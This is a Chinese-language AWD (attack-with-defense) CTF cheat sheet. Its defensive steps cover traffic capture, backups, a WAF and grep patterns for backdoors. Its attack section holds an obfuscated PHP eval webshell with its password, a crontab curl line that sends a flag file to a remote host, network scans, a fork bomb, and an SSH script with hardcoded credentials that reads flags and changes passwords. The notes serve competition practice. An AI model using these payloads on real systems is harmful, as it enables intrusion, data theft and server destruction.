AWD 總結&分析


AWD 總結&分析

一:題目類型

1-出題人自己寫的cms,為了惡心然后加個so。

2-常見或者不常見的cms。

3-一些框架漏洞,比如ph師傅挖的CI這種

二:題目漏洞類型

1-sqli居多

2-文件包含

3-各種rce

4-文件上傳

三:拿flag方式

1-是向內網一台機器發送http請求,返回請求中包含flag。

2-是例如/home目錄下放置flag文件。

四.防御

1.流量

sudo tcpdump -s 0 -w flow.pcap port 80

2.日志分析

日志地址

/var/log/apache2/
/usr/local/apache2/logs
/usr/nginx/logs/

3.打包源碼&備份數據庫

# 打包目錄

tar -zcvf archive_name.tar.gz directory_to_compress

# 解包

tar -zxvf archive_name.tar.gz
# 備份指定的多個數據庫


mysqldump -u root -p --databases choose test > /tmp/db.sql


# 恢復備份,在mysql終端下執行:


# 命令格式:source FILE_PATH


source ~/db.sql


# 曾經遇到一個備份有問題可以執行下面


mysqldump -u root --all-databases —skip-lock-tables > /tmp/db.sql


# 重置mysql密碼


# 方法1:用SET PASSWORD命令  


mysql> set password for 用戶名@localhost = password('新密碼');


# 方法2:用mysqladmin 


mysqladmin -u用戶名 -p舊密碼 password 新密碼

4.重置ssh密碼

登陸后一個passwd就可以
但其實還是有腳本的
比如批量改默認密碼

#!/usr/bin/python
#-*-coding:utf-8-*-
import paramiko
import socket


def userssh_changepwd(ip,user,old_password,new_password):
    # 建立一個sshclient對象
    ssh = paramiko.SSHClient()
    # 允許將信任的主機自動加入到host_allow 列表,此方法必須放在connect方法的前面
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(hostname=ip, port=22, username=user, password=old_password,timeout=5)
        stdin, stdout, stderr = ssh.exec_command("ls ~")
        s=str(stdout.read(),'utf-8')
        for i in s.split('\n'):
            if("flag" in i):
                command1="cat ~/%s" %(i.strip())
                stdin, stdout, stderr = ssh.exec_command(command1)
                flag=str(stdout.read(),'utf-8')
                print("%s-%s" %(ip,flag.strip()))
        command = "passwd %s\n" %(user)
        stdin, stdout, stderr = ssh.exec_command(command)
        #\n模擬回車 輸兩次密碼
        stdin.write(old_password+'\n'+ new_password + '\n' + new_password + '\n')
        out, err = stdout.read(), stderr.read()
        #print(out)
        successful = 'password updated successfully'
        #print(out,err)
        if successful in str(err):
            print(ip + " 密碼修改成功!")
        else:
            print('\033[31m錯誤:\033[0m' + str(err))
            print(ip + " 密碼修改失敗!")
        # 關閉連接
        ssh.close()
    except paramiko.ssh_exception.AuthenticationException as e:
        print(ip + ' ' + '\033[31m賬號密碼錯誤!\033[0m')
        with open('nossh.txt','a') as f:
            f.write(ip + '\n')
    except socket.timeout as e:
        print(ip + ' ' + '\033[31m連接超時!\033[0m')
        with open('timeoutssh','a') as f:
            f.write(ip + '\n')

user="bee"
old_passwd="xbwkaliwin2003"
new_passwd="xbwkaliwin2008"
with open('ip.txt','r') as f:
    for i in f.readlines():
        host=i.strip()
        userssh_changepwd(host, user, old_passwd, new_passwd)

5.部署waf

whatchwaf
說明:

  • 下載最新release

  • 將waf.so,watchbird.php文件存放在/var/www/html或其他目錄中

  • 將watchbird.php放在www-data可讀的目錄, 確保當前用戶對目標目錄可寫, 然后執行php watchbird.php --install [Web目錄], 安裝器將輸出安裝了watchbird的文件路徑

  • 訪問任意啟用了waf的文件, 參數?watchbird=ui打開watchbird控制台, 創建一個初始密碼

  • 如需卸載, 請在相同的位置輸入php watchbird.php --uninstall [Web目錄], 如果您多次運行了安裝, 請多次運行卸載直到卸載器無輸出
    ps:由於chrome無法允許不安全的網站(無SSL證書)顯示通知,請使用Firefox並修改about:config中dom.webnotifications.allowinsecure為true)

    ps:php7應該不支持,不要放到root目錄下(awd模式下也不會有root權限)要放在對應網頁權限的目錄下(默認網頁權限是www-data)比如/var/www/目錄

6.查找后門

find . -name '*.php' | xargs grep -n 'eval('

find . -name '*.php' | xargs grep -n 'assert('

find . -name '*.php' | xargs grep -n 'system('

7.查找關鍵文件

#備份文件
find / -name "*.bak"
#config文件
find / -name "config.*"

8.干掉不死馬

(1).ps auxww|grep shell.php 找到pid后殺掉進程就可以,你刪掉腳本是起不了作用的,因為php執行的時候已經把腳本讀進去解釋成opcode運行了

(2).重啟php等web服務

(3).用一個ignore_user_abort(true)腳本,一直競爭寫入(斷斷續續)。usleep要低於對方不死馬設置的值。

(4).創建一個和不死馬生成的馬一樣名字的文件夾。

五.攻擊

1.crontab自動提交flag到平台

*/5 * * * * curl 172.16.100.5:9000/submit_flag/ -d 'flag='$(cat /home/web/flag/flag)'&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY'

記得改token和目錄
crontab路徑
/var/spool/cron

2.掃描主機

# masscan


masscan -p 80 172.16.0.0/24


# nmap


nmap –sn 172.16.0.0/24

3.混淆過的一句話

<?php  $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>

配置填`n985de9=QGV2YWwoJF9QT1NUWzBdKTs=`
連接密碼:0(零)

5.查看出題者后來改動的地方(一般漏洞是改出來的)

ls -t按修改時間來看最新被修改的文件

4.fork炸彈(直接摧毀服務器)

:() { :|: & };:

------------恢復內容結束------------


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM